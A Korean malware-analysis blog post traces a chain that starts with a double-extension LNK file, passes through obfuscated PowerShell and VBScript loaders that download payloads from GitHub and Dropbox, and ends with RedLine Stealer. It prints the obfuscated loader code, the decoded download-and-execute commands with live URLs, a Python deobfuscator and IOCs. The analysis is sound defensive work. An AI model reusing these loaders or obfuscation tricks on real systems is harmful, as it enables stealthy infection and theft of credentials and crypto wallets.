상세 컨텐츠

본문 제목

더블 확장자에서 RedLine Stealer로. 다단계 악성코드 분석

카테고리 없음

by 0xmh 2024. 9. 29. 17:48

본문

728x90

새로 업로드된 악성코드들 중에 재밌어 보이는 게 있지 않을까~라는 마음으로 오늘도 다양한 악성코드 데이터베이스들을 뒤져봤더니... 흥미로워 보이는 게 하나 있었더라고요... 정확히 어떤 악성코드 "family"에 속하는지 모르겠지만 한번 볼만해서 분석 결과를 공유하고자 합니다.

오늘의 해부 대상자 소개합니다~ 
(SHA256: e9ad5fb2cb6836ac0a35b95e834fad9e4034e40a8d395b14993dba6738e8f0f7)

[그림1]: 해부 대상자

1st Stage: 

파일 이름이 "playmod24.pdf.lnk"인 것을 보고 "더블 확장자... 냄새 나는군"라는 생각이 들어 콘텐츠를 봤더니 직감이 맞았습니다.

Windows
System32
WindowsPowerShell
powershell.exe
C:\\Windows\\System32
(nEW-ObjeCT SYStem.IO.comPresSiOn.DEFLaTesTReAM([sYStEm.IO.mEmoRyStream] [sYstem.COnVErT]::Frombase64StrInG('VVNdb5tAEPwrJx4KVoNtOOD88RQ5jdKnRo6sPKSVaswho4JxfNhWZPHfM3OA1Dzs7bI7szvcwjfPuQXtLWxv09bxc+GW7p17hNVXfTJ7Xboj4b8Wh6y+vjQfpRbAT9uO4ggSnoosA17DDgSv6qraHjLheYDKmcUqUiQ4Ch6zAuSSeXuLkZMRnudWQoIwIiNBDK9QjlkGLYRX9KDGqEnUAnq2JI98jGFXQCRCCR/F8GCho4RFRKIUAh0DykEoR2wCpELDhEMQzwAJOQAwRSi6zUilVg5nDCMNbWJSCEE3SkRFYZjkIA4GSwKS4JkakFK8GGSoIeb93xTBSCk8xgRK7sSVoUm5EdgkjMZwDcz0xhjbMSblClJt+mVYTsOq2OPwNyec0fjCtN4QtVoMPZirSNLosjH6ZDu9fBjSx0fu95jlS2Ga7akRq4UtE/7AymIyyeELfgFlbafYVnY25haCYzgn5JEXkvVcLNHJqiz6ySH8z8MF55ZzK43X7dWZJY5LSr6E7ZshzwOf5dAh6tTqh/oKLWzzfh4UTYa3JfL5nJbFru9i76SSVpX/iwQhIKT+p/1Xna6t/O6FYY8F5lG57iSR0TzyHRpdWUm8uS6w8rqd4Jpw9h31+xn3Y1Xj57LiLbD707hR5sL/1oy/0XwVnnUjBhBoo9HYWf94Lu//7rTjeW+7p/v1nyCIv3fRfNYHwTQY3bm/gf8E' ),[io.CompREsSiOn.COMpRESSIonMOde]::DEcompRESs )
FOreach-oBjEct{nEW-ObjeCT Io.StrEAMREADeR( $_,[tExT.enCodiNG]::ASCiI ) }
FOREaCh-oBJeCt {$_.rEaDtoEnD( ) })
. ( $enV:COmspEc[4,24,25]-jOIN'')<
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Windows
System32
WindowsPowerShell
powershell.exe

일단, 가장 눈에 띄는 부분은 Base64 인코딩 되어 있는 스트링이겠지요. Compression도 (한국어 올바른 표현 몰라요 ㅠㅠ) 사용하는 것 같은데 이를 쉽게 Cyberchef로 풀 수 있습니다. 그걸 하기 전에 강조하고 싶은 부분이 하나 더 있습니다.

파워셸 같은 경우에는 파일 분석할 때 내가 항상 가장 먼저 찾는 것은 "iex"라는 표현입니다. IEX는 Invoke-Expression이라는 의미이며 명령어를 실행시키기 위한 것입니다.

위 스크립트는 없는 것처럼 보이지만 중요한 부분은 ". ( $enV:COmspEc[4,24,25]-jOIN'')<"입니다. 왜 중요한지 사진 하나로 보겠습니다.

[그림2]: IEX 실행

$env:Comspec란 것은 보다시피 "C:\Windows\system32\cmd.exe"입니다.

4,24,25 이 스트링의 4번째 24번째 25번째 캐릭터를 말하며 -join을 활용하면서 이 세 캐릭터들을 조합시킵니다. 

굳지 "iex"을 사용하지 않아도 다양한 방법들로 실행을 위한 iex 스트링을 만들 수 있습니다.

 

디코딩 결과는 그림 3에서 확인할 수 있습니다. 이번 PS 스크립트도 deobfuscation을 사용하지만 일단 그나마 다행인 것은 "그~~렇게" 어렵지 않다는 것입니다. 다만 조금 귀찮긴 합니다.

 

1) 스크립트는 파워셸의 "-f" 사용하는데 이는 "Format operator"입니다. 

스트링의 일부 부분인 "("{0}{1}{2}" -f 'Hidd','e','n')" 예시로 들겠습니다:

{0}, {1}, {2}는 Placeholder이며 "Hidd", "e", "n"과 다음과 같이 매칭될 것입니다. 

{0} --> "Hidd"

{1} --> "e"

{2} --> "n"

결과는 Hidden입니다. 

위 부분은 쉬웠지만 스크립트의 "-Command" 이후 내용이 조금 더 골치 아프게 하는 내용이 될 것 같네요

[그림3] 디코딩 결

다음의 파이썬 스크립트로 남은 부분도 deobfuscate할 수 있습니다.

import re

def deobfuscate_powershell(obfuscated_script):
    def format_string(match):
        format_str = match.group(1)
        args = match.group(2).split(',')
        args = [arg.strip().strip("'") for arg in args]
        return format_str.format(*args)

    # Deobfuscate string formatting
    pattern = r'\("([^"]+)"\s*-f\s*([^)]+)\)'
    deobfuscated = re.sub(pattern, format_string, obfuscated_script)

    # Handle the REPLAce operation
    replace_pattern = r'."REPlA`ce"\((\[cHAR\]\d+(?:\+\[cHAR\]\d+)*),\s*\'(\\)\'\)'
    replace_match = re.search(replace_pattern, deobfuscated)
    if replace_match:
        char_codes = re.findall(r'\d+', replace_match.group(1))
        replace_from = ''.join(chr(int(code)) for code in char_codes)
        deobfuscated = deobfuscated.replace(replace_match.group(0), '')

    # Clean up any remaining artifacts
    deobfuscated = deobfuscated.replace('`', '')
    deobfuscated = deobfuscated.strip('& ')

    # Replace all instances of 'sbe' with '\' as the final step
    deobfuscated = deobfuscated.replace('sbe', '\\')

    return deobfuscated

# The obfuscated PowerShell script
obfuscated_script = """&("{1}{2}{0}"-f 'l','p','owershel') -WindowStyle ("{0}{1}{2}" -f 'Hidd','e','n') -Command ((("{38}{1}{70}{13}{27}{12}{11}{69}{53}{34}{19}{2}{64}{48}{16}{68}{73}{54}{17}{24}{77}{21}{58}{33}{18}{37}{14}{42}{60}{9}{51}{30}{31}{45}{3}{26}{36}{44}{40}{22}{59}{6}{63}{47}{15}{78}{67}{25}{82}{28}{39}{79}{61}{80}{29}{23}{10}{20}{5}{76}{55}{81}{8}{41}{50}{74}{32}{56}{49}{35}{62}{4}{46}{71}{7}{66}{65}{0}{72}{57}{75}{52}{43}"-f'32sb','o','/24.','t','s','s','t','dowssbe','bes','e','sb','tt',' h','-Ur','4.vb','eUs','C:s','s','b','me','esbeUser','beSyst','.pd','pdf; start C:','be','eD','p://f','i','nlo','4.','est',' -Uri ','ss','2s','fi3.','f ; C:sb','i','esbe2','Inv','a','.me/24','b','s;','vbs','3','ht','b','sb','le ','esbe24.pd','eDownloa','qu','4.','/','s','besbePublic','b','b','em3','f -Ou','  Invoke-WebR','ssbe','e','File C:sbe','vbs -OutFi','tem','sbeSys','sbesb','bes','p:/','ke-WebRequest ','eWin','es','beWindow','d','e2','s','s','erssbesbePublic','d','sbe2','s','ow'))."REPlA`ce"(([cHAR]115+[cHAR]98+[cHAR]101),'\\'))"""

# Deobfuscate the script
deobfuscated = deobfuscate_powershell(obfuscated_script)
print(deobfuscated)

 

스크립트 실행 시키고 결과는 그림 4에서 확인할 수 있습니다.

악성코드는 http://fi3[.]me/24.vbs에 연결하여 파일을 다운로드하고 System32 폴더에 저장해 둡니다. 그 후에는 24.pdf 다운로드하여 이를 엽니다. (아마 미끼 파일?). pdf 파일 연 다음에 vbs 파일도 실행시킵니다.

[그림4] 파워셸 디코딩 결과

 

2nd Stage:

(SHA256: a38938ac0643694b4d27a47a92b552e495cec0ceaa616420dec327a1967e545c)

[그림5] 2nd Stage

vba 코드라 notepad++ 열었더니 기분이 안 좋아질 수 없었다... 게다가 스크립트 2667줄... 그러나 다행인 것은 저거 다 쓸데없는 garbage 코드이며 그냥 삭제하면 됩니다.

[그림6] ㅠㅠ

남은 코드 1100줄이었는데 사실 뭔지 확실하진 않습니다... 악성코드가 아닌 약간 모의해킹 하는 사람들이 사용하는 툴? 위협 그룹의 툴이었으면 주석이 이렇게 많았을까? 툴 사용법에 대한 헬퍼 스트링도 많고... 그리고 다 영어니까 모의해킹 툴이란 생각이 계속 뜨네요... Red Team이 프로젝트 수행 중인데 툴이 VT에 업로드 됐을까...

[그림7]: 뭐지 이거?

그래도 포기하기엔 이르니까 1100줄 중에 흥미로워 보이는 몇 부분들을 더 살펴보겠습니다.

 

가장 먼저 인코딩된 데이터가 보이길래 그것부터 분석합니다.

[그림8]: 2ndStage의 Base64 1번

위와 비슷한 인코딩 로직이 보이며 이를 어느 정도 정리한 결과는 아래 코드블락에서 확인할 수 있습니다. 아울러, 비슷한 식으로 IEX라는 스트링을 생성하는 것이 보입니다.

[그림9]: 2ndStage의 Base64 2번

 

. ( $SHELlId[1] + $shELlID[13] + 'x') (
    "$url = 'https://raw.githubusercontent.com/NoDetecton/NoDetectOn/refs/heads/main/DetahNoth-V.txt'; 
    $base64Content = (New-Object System.Net.WebClient).DownloadString($url); 
    $binaryContent = [System.Convert]::FromBase64String($base64Content); 
    $assembly = [Reflection.Assembly]::Load($binaryContent); 
    [dnlib.IO.Home]::VAL("https://www.dropbox.com/s/u37rt4mj21zqblbs5wp/txt.9988?dl=0&raw=1&token=yeklr5nlvGokkri6o9pdo", "desativado", "desativado", "desativado", "AddInProcess32", "", "")"
)

 

Github에 호스팅되어 있는 "DetahNoth-V.txt"라는 파일이 다운로드된 후 Reflection.Assembly에 의하여 로딩됩니다.

로딩될 파일이 Base64 인코딩돼 있어서 이를 Cyberchef로 확인했더니 PE 파일을 받습니다. Stage3까지 있었네...

[그림10]:Github에 호스트된 파

Stage 3:

dnlib.dll (SHA256:12ec76ef2298ac0d535cdb8b61a024446807da02c90c0eebcde86b3f9a04445a)

오예~ 재미가 끝나지 않네 ㅡㅡ Obfuscate된 dll 파일이네요.

[그림11]:Deobfuscate된 NET 바이너리

Obfuscation을 풀고 Stealer라도 나올 줄 알았는데 이것은 그냥 dnlib.dll인 것 같은데? 위 dropbox 링크에서 불러올 내용과 함께 쓸지... 근데 아쉽게도 dropbox 링크 접속이 안 돼서 더는 분석 못했습니다 ㅠㅠ

dnlib.dll은 주로 코드 인젝션과 Obfuscation으로 쓰는 걸로 알려져 있는데 이렇게 다단계 악성코드 분석하다가 마지막 단계에서 아무것도 안 나오면 마음이 좀 그러네요 ㅠㅠ

[그림12]: dnlib

 

그러나 VT에 돌아가서  Stage1에 대한 내용을 다시 봤는데, 다른 dropbox 링크를 확인할 수 있었고, 접속 됐습니다. 콘텐츠 역시 Base64 인코딩 돼있었습니다.  

https://dl.dropboxusercontent.com/scl/fi/jepw5sblxqz12jm4tr73u/8899.txt?rlkey=onlln5irkkogdodp9o6dhyinx&st=835pgm0t&dl=1

 

딩동댕~ RedLine라고 하네요~. 드디어 스틸러가 나왔네요 ㅎㅎ

(SHA256: 5913ec84369b5769c39bb17281ede29c99c5bf8ef78c23075640df40a92b1f31)

[그림13]: Redline Stealer

Greenline이라는 툴로 Redline 콘픽도 받을 수 있습니다 (https://github.com/dr4k0nia/Greenline)

 

Conclusion

그래서 지금까지 분석한 내용을 요약하고, 생각 공유하자면:

1) -f라는 것은 Powershell의 Format String이며 이를 활용하여 IEX나 다른 수상해 보이고 AV에 의하여 탐지되는 String들을 obfuscate할 수 있다.

2) 더블 확장 가지고 있는 파일은 무조건 의심해야 한다.

3) 2nd Stage는 아직 좀 찝찝하다. 일반 모의해킹 툴인 것 같으면서도 숨은 파워셸 코드가 있다... 더 분석해봐야 할 듯

4) NET 바이너리 싫다...

 

이번 악성코드는 다단계 감염 과정을 사용하며, 난독화된 VBScript와 PowerShell을 활용하여 GitHub와 Dropbox에서 페이로드를 다운로드하고 실행합니다. 이러한 단계들은 최종적으로 정교한 정보 탈취 악성코드인 Redline Stealer의 배포로 이어집니다. Redline Stealer는 감염된 시스템에서 개인정보, 금융 정보, 암호화폐 지갑을 수집하는 것으로 알려져 있습니다. 

 

IOC:

185.218.125[.]157

217.62.2[.]14 // Redline --proxy-server 라는 cmd로 정할 수 있음 

hxxps://dl.dropboxusercontent[.]com/scl/fi/jepw5sblxqz12jm4tr73u/8899.txt?rlkey=onlln5irkkogdodp9o6dhyinx&st=835pgm0t&dl=1

hxxps://www.dropbox[.]com/s/u37rt4mj21zqblbs5wp/txt.9988?dl=0&raw=1&token=yeklr5nlvGokkri6o9pdo

5913ec84369b5769c39bb17281ede29c99c5bf8ef78c23075640df40a92b1f31

12ec76ef2298ac0d535cdb8b61a024446807da02c90c0eebcde86b3f9a04445a

a38938ac0643694b4d27a47a92b552e495cec0ceaa616420dec327a1967e545c

e9ad5fb2cb6836ac0a35b95e834fad9e4034e40a8d395b14993dba6738e8f0f7